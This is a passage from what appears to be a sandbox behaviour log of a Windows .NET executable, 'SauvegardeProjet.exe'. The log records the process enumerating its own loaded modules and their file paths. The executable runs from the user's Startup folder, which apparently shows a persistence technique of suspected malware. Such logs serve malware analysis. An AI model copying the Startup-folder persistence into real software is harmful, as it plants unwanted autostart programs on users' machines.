hProcess=0x280, hModule=0x73c90000, lpmodinfo=0x240bd1c, cb=0xc | out: lpmodinfo=0x240bd1c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0229.067] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.067] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0229.067] CoTaskMemFree (pv=0x4fb3308) [0229.067] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.067] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0229.068] CoTaskMemFree (pv=0x4fb3308) [0229.068] GetModuleInformation (in: hProcess=0x280, hModule=0x73f00000, lpmodinfo=0x240df10, cb=0xc | out: lpmodinfo=0x240df10*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0229.068] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.068] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0229.069] CoTaskMemFree (pv=0x4fb3308) [0229.069] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.069] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0229.069] CoTaskMemFree (pv=0x4fb3308) [0229.069] GetModuleInformation (in: hProcess=0x280, hModule=0x76e30000, lpmodinfo=0x2410050, cb=0xc | out: lpmodinfo=0x2410050*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0229.070] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.070] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0229.071] CoTaskMemFree (pv=0x4fb3308) [0229.071] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.071] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x76e30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0229.071] CoTaskMemFree (pv=0x4fb3308) [0229.071] GetModuleInformation (in: hProcess=0x280, hModule=0x73b00000, lpmodinfo=0x2412164, cb=0xc | out: lpmodinfo=0x2412164*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0229.072] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.072] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0229.072] CoTaskMemFree (pv=0x4fb3308) [0229.072] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.072] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0229.073] CoTaskMemFree (pv=0x4fb3308) [0229.073] GetModuleInformation (in: hProcess=0x280, hModule=0x71210000, lpmodinfo=0x2414330, cb=0xc | out: lpmodinfo=0x2414330*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0229.073] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.073] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0229.074] CoTaskMemFree (pv=0x4fb3308) [0229.074] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.074] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0229.075] CoTaskMemFree (pv=0x4fb3308) [0229.075] GetModuleInformation (in: hProcess=0x280, hModule=0x73ee0000, lpmodinfo=0x2416520, cb=0xc | out: lpmodinfo=0x2416520*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0229.075] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.075] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0229.076] CoTaskMemFree (pv=0x4fb3308) [0229.076] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.076] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0229.076] CoTaskMemFree (pv=0x4fb3308) [0229.076] GetModuleInformation (in: hProcess=0x280, hModule=0x73ac0000, lpmodinfo=0x2418738, cb=0xc | out: lpmodinfo=0x2418738*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0229.077] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.077] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0229.078] CoTaskMemFree (pv=0x4fb3308) [0229.078] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.078] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0229.078] CoTaskMemFree (pv=0x4fb3308) [0229.078] GetModuleInformation (in: hProcess=0x280, hModule=0x73a30000, lpmodinfo=0x241a844, cb=0xc | out: lpmodinfo=0x241a844*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0229.079] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.079] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0229.079] CoTaskMemFree (pv=0x4fb3308) [0229.079] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.079] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0229.080] CoTaskMemFree (pv=0x4fb3308) [0229.080] GetModuleInformation (in: hProcess=0x280, hModule=0x73a10000, lpmodinfo=0x241ca0c, cb=0xc | out: lpmodinfo=0x241ca0c*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0229.128] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.128] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0229.128] CoTaskMemFree (pv=0x4fb3308) [0229.128] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.128] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0229.129] CoTaskMemFree (pv=0x4fb3308) [0229.129] GetModuleInformation (in: hProcess=0x280, hModule=0x73940000, lpmodinfo=0x241eb5c, cb=0xc | out: lpmodinfo=0x241eb5c*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0229.130] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.130] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0229.130] CoTaskMemFree (pv=0x4fb3308) [0229.130] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.130] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0229.131] CoTaskMemFree (pv=0x4fb3308) [0229.131] GetModuleInformation (in: hProcess=0x280, hModule=0x71080000, lpmodinfo=0x2420d58, cb=0xc | out: lpmodinfo=0x2420d58*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0229.132] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.132] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0229.132] CoTaskMemFree (pv=0x4fb3308) [0229.132] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.132] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0229.133] CoTaskMemFree (pv=0x4fb3308) [0229.133] GetModuleInformation (in: hProcess=0x280, hModule=0x70ee0000, lpmodinfo=0x2422f08, cb=0xc | out: lpmodinfo=0x2422f08*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0229.134] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.134] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0229.134] CoTaskMemFree (pv=0x4fb3308) [0229.134] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.135] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0229.135] CoTaskMemFree (pv=0x4fb3308) [0229.135] GetModuleInformation (in: hProcess=0x280, hModule=0x735f0000, lpmodinfo=0x24250d0, cb=0xc | out: lpmodinfo=0x24250d0*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0229.136] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.136] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0229.137] CoTaskMemFree (pv=0x4fb3308) [0229.137] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.137] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0229.137] CoTaskMemFree (pv=0x4fb3308) [0229.137] GetModuleInformation (in: hProcess=0x280, hModule=0x75b40000, lpmodinfo=0x24271dc, cb=0xc | out: lpmodinfo=0x24271dc*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0229.138] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.138] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0229.139] CoTaskMemFree (pv=0x4fb3308) [0229.139] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.139] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0229.139] CoTaskMemFree (pv=0x4fb3308) [0229.139] GetModuleInformation (in: hProcess=0x280, hModule=0x70de0000, lpmodinfo=0x24292e8, cb=0xc | out: lpmodinfo=0x24292e8*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0229.140] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.140] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0229.141] CoTaskMemFree (pv=0x4fb3308) [0229.141] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.141] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0229.141] CoTaskMemFree (pv=0x4fb3308) [0229.142] GetModuleInformation (in: hProcess=0x280, hModule=0x77ae0000, lpmodinfo=0x242b40c, cb=0xc | out: lpmodinfo=0x242b40c*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0229.142] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.142] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0229.143] CoTaskMemFree (pv=0x4fb3308) [0229.143] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.143] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0229.144] CoTaskMemFree (pv=0x4fb3308) [0229.144] CloseHandle (hObject=0x280) returned 1 [0229.328] GetCurrentProcessId () returned 0x564 [0229.328] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x280 [0229.328] EnumProcessModules (in: hProcess=0x280, lphModule=0x2361264, cb=0x100, lpcbNeeded=0x636b1a0 | out: lphModule=0x2361264, lpcbNeeded=0x636b1a0) returned 1 [0229.329] GetModuleInformation (in: hProcess=0x280, hModule=0x260000, lpmodinfo=0x23613a4, cb=0xc | out: lpmodinfo=0x23613a4*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0229.329] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.329] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0229.329] CoTaskMemFree (pv=0x4fb3308) [0229.329] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.329] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0229.329] CoTaskMemFree (pv=0x4fb3308) [0229.329] GetModuleInformation (in: hProcess=0x280, hModule=0x77b10000, lpmodinfo=0x2363584, cb=0xc | out: lpmodinfo=0x2363584*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0229.329] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.329] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0229.330] CoTaskMemFree (pv=0x4fb3308) [0229.330] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.330] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0229.330] CoTaskMemFree (pv=0x4fb3308) [0229.330] GetModuleInformation (in: hProcess=0x280, hModule=0x736a0000, lpmodinfo=0x2365688, cb=0xc | out: lpmodinfo=0x2365688*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0229.330] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.330] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0229.330] CoTaskMemFree (pv=0x4fb3308) [0229.330] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.330] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0229.331] CoTaskMemFree (pv=0x4fb3308) [0229.331] GetModuleInformation (in: hProcess=0x280, hModule=0x77540000, lpmodinfo=0x2367794, cb=0xc | out: lpmodinfo=0x2367794*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0229.331] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.331] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0229.331] CoTaskMemFree (pv=0x4fb3308) [0229.331] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.331] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0229.331] CoTaskMemFree (pv=0x4fb3308) [0229.331] GetModuleInformation (in: hProcess=0x280, hModule=0x75990000, lpmodinfo=0x23698a8, cb=0xc | out: lpmodinfo=0x23698a8*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0229.332] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.332] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0229.332] CoTaskMemFree (pv=0x4fb3308) [0229.332] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.332] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0229.332] CoTaskMemFree (pv=0x4fb3308) [0229.332] GetModuleInformation (in: hProcess=0x280, hModule=0x773f0000, lpmodinfo=0x236b9f0, cb=0xc | out: lpmodinfo=0x236b9f0*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0229.332] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.332] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0229.333] CoTaskMemFree (pv=0x4fb3308) [0229.333] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.333] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0229.333] CoTaskMemFree (pv=0x4fb3308) [0229.333] GetModuleInformation (in: hProcess=0x280, hModule=0x77490000, lpmodinfo=0x236db04, cb=0xc | out: lpmodinfo=0x236db04*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0229.333] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.333] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0229.333] CoTaskMemFree (pv=0x4fb3308) [0229.333] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.333] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0229.334] CoTaskMemFree (pv=0x4fb3308) [0229.334] GetModuleInformation (in: hProcess=0x280, hModule=0x75f70000, lpmodinfo=0x236fc10, cb=0xc | out: lpmodinfo=0x236fc10*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0229.334] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.334] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0229.334] CoTaskMemFree (pv=0x4fb3308) [0229.334] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.334] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0229.335] CoTaskMemFree (pv=0x4fb3308) [0229.335] GetModuleInformation (in: hProcess=0x280, hModule=0x758a0000, lpmodinfo=0x2371d1c, cb=0xc | out: lpmodinfo=0x2371d1c*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0229.335] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.335] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0229.335] CoTaskMemFree (pv=0x4fb3308) [0229.335] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.335] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0229.336] CoTaskMemFree (pv=0x4fb3308) [0229.336] GetModuleInformation (in: hProcess=0x280, hModule=0x75670000, lpmodinfo=0x2373e74, cb=0xc | out: lpmodinfo=0x2373e74*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0229.336] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.336] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0229.336] CoTaskMemFree (pv=0x4fb3308) [0229.336] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.336] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0229.336] CoTaskMemFree (pv=0x4fb3308) [0229.336] GetModuleInformation (in: hProcess=0x280, hModule=0x75660000, lpmodinfo=0x2375f80, cb=0xc | out: lpmodinfo=0x2375f80*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0229.337] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.337] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0229.337] CoTaskMemFree (pv=0x4fb3308) [0229.337] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.337] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0229.338] CoTaskMemFree (pv=0x4fb3308) [0229.338] GetModuleInformation (in: hProcess=0x280, hModule=0x73620000, lpmodinfo=0x2378094, cb=0xc | out: lpmodinfo=0x2378094*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0229.338] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.338] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0229.338] CoTaskMemFree (pv=0x4fb3308) [0229.338] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.338] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0229.339] CoTaskMemFree (pv=0x4fb3308) [0229.339] GetModuleInformation (in: hProcess=0x280, hModule=0x75db0000, lpmodinfo=0x237a1dc, cb=0xc | out: lpmodinfo=0x237a1dc*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0229.339] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.339] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0229.339] CoTaskMemFree (pv=0x4fb3308) [0229.339] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.339] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0229.340] CoTaskMemFree (pv=0x4fb3308) [0229.340] GetModuleInformation (in: hProcess=0x280, hModule=0x75810000, lpmodinfo=0x237c2e8, cb=0xc | out: 